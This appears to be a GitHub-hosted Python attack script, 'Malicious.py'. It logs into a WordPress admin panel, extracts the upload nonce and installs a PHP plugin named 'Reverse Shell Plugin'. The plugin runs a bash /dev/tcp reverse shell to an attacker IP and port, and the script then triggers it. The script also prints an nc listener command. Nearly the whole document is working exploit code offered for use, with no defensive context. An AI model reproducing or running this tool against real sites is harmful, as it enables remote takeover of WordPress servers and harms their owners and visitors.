-
Notifications
You must be signed in to change notification settings - Fork 3
/
Malicious.py
executable file
·215 lines (160 loc) · 7.07 KB
/
Malicious.py
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
#!/usr/bin/env python3
from requests import Session
from argparse import ArgumentParser
from string import ascii_lowercase
from random import choice
from re import search
from os import remove
from zipfile import ZipFile
from urllib3 import disable_warnings, exceptions
disable_warnings(exceptions.InsecureRequestWarning)
def arguments():
parser = ArgumentParser(
description="Wordpress Malicious plugin upload",
epilog="./app.py -t http://domain_name.com/wordpress -u User_Admin -p Pass -L 192.168.20.2 -P 4040"
)
parser.add_argument("-t", "--target", metavar="", type=str, help="Target URL")
parser.add_argument("-u", "--username", metavar="", type=str, help="Wordpress Username")
parser.add_argument("-p", '--password', metavar="", type=str, help="Wordpress Password")
parser.add_argument("-L", "--lhost", metavar="", type=str, help="Attacker IP address")
parser.add_argument("-P", "--lport", metavar="", type=int, help="Attacker LOCAL PORT")
args = parser.parse_args()
return args.target, args.username, args.password, args.lhost, args.lport
def logo():
banner = "\n /\/\ __ _| (_) ___(_) ___ _ _ ___\n"
banner += " / \ / _` | | |/ __| |/ _ \| | | / __|\n"
banner += "/ /\/\ | (_| | | | (__| | (_) | |_| \__ \ \n"
banner += "\/ \/\__,_|_|_|\___|_|\___/ \__,_|___/\n"
banner += " (Shell upload in WordPress plugin)\n"
banner += "─────▄───▄\n"
banner += "─▄█▄─█▀█▀█─▄█▄\n"
banner += "▀▀████▄█▄████▀▀\n"
banner += "─────▀█▀█▀\n"
return banner
class Script:
def __init__(self, host, lhost, lport):
self.host, self.lhost, self.lport = host, lhost, lport
self.payload = f"""<?php
/**
* Plugin Name: Reverse Shell Plugin
* Plugin URI:
* Description: Reverse Shell Plugin
* Version: 1.0
* Author: This is a copy, bruh
* Author URI: http://www.sevenlayers.com
*/
exec("/bin/bash -c 'bash -i >& /dev/tcp/{self.lhost}/{self.lport} 0>&1'");
?>"""
self.nonce_pattern = 'value="[0-9a-z]{10}"'
self.headers = {'user-agent': "Linux Mozilla 5/0", 'Accept-Encoding' : 'none'}
self.shell_directory = (''.join(choice(ascii_lowercase) for i in range(7)))
self.activate_shell = f"{self.host}/wp-content/plugins/{self.shell_directory}/shell.php"
def Upload_plugin(self, session, nonce):
f = open("shell.php", "w")
f.write(self.payload)
f.close()
ZIP = ZipFile("rev.zip", 'w')
ZIP.write("shell.php")
ZIP.close()
remove("shell.php")
file = {
"pluginzip": (self.shell_directory+".zip", open("rev.zip", "rb")),
'install-plugin-submit': (None,'Install Now'),
'_wpnonce': (None, nonce),
'_wp_http_referer': (None, self.host + '/wp-admin/plugin-install.php?tab=upload'),
'install-plugin-submit': (None,'Install Now')
}
print("***" * 15)
print("[+] Uploading Malicious Plugin...")
print("***" * 15 + "\n")
try:
session.post(
url=self.host + "/wp-admin/update.php?action=upload-plugin",
files=file,
headers=self.headers,
verify=False,
timeout=30
)
remove("rev.zip")
except Exception:
remove("rev.zip")
print("\x1b[1;37m[✓] Plugin installed successfully\x1b[0m\n")
print("[!] If you don't get the shell connection, manually trigger the URL:\n")
print("***" * 20)
print(self.activate_shell)
print("***" * 20 + "\n")
def exploit(self, session):
find_install_dir = session.get(
url=self.host + "/wp-admin/plugin-install.php?tab=upload",
headers=self.headers,
verify=False,
timeout=35
)
if find_install_dir.status_code == 200:
try:
search_nonce = search(self.nonce_pattern, find_install_dir.text)
last = search("[0-9a-z]{10}", search_nonce.group(0))
nonce = last.group(0)
self.Upload_plugin(session,nonce)
print("Enjoy your shell :)\n")
session.get(url=self.activate_shell, verify=False, timeout=30)
except AttributeError:
print("[!] Remove the characters after forward slash: '/' or check the URL" + "\n")
exit()
else:
print("===" * 15)
print("\n[X] Could not find <plugin-install.php> in the target dashboard?!\n")
def login(self, username, password):
session = Session()
try:
if session.get(url=self.host + "/wp-login.php").status_code == 200:
try_login = session.post(
url=self.host + "/wp-login.php",
data={"log": username, "pwd": password, 'redirect_to': self.host + '/wp-admin/'},
headers=self.headers,
allow_redirects=False,
verify=False,
timeout=12
)
if "The password you entered for the username" not in try_login.text \
and "is not registered on this site." not in try_login.text:
print("===" * 20)
print("[+] Logged in successfully (preparing to upload...)")
print("===" * 20 + "\n")
print("---" * 15)
print("[+] Creating Plugin...")
print("---" * 15 + "\n")
return self.exploit(session)
else:
print("===" * 15)
return "\n[X] Login Failed! Check the Credentials\n"
else:
return "\n[X] Could not find the login page?!\n"
except TimeoutError:
print("===" * 15)
return "\n[?] Could not connect to the target URL\n"
def main():
host, username_value, password_value, lhost, lport = arguments()
run = Script(host, lhost, lport)
try:
if host is not None and username_value is not None and password_value is not None \
and lhost is not None and lport is not None:
if host[-1] == "/":
host = host[:-1]
else:
pass
print(logo())
print(f"[!] ---> execute [nc -lvp {lport}]\n")
print("===" * 15)
print("[+] Starting...")
print("===" * 15 + "\n")
print(run.login(username_value, password_value))
else:
print("\nUSAGE: python3 Malicious.py -t <TARGET IP OR DOMAIN> -u <USERNAME> -p <PASSWORD> -L <LOCAL IP> -P <LOCAL PORT>\n")
except KeyboardInterrupt:
print("\n[!] CTRL+C Detected! Program stoped\n")
exit()
except IOError:
exit()
if __name__ == '__main__':
main()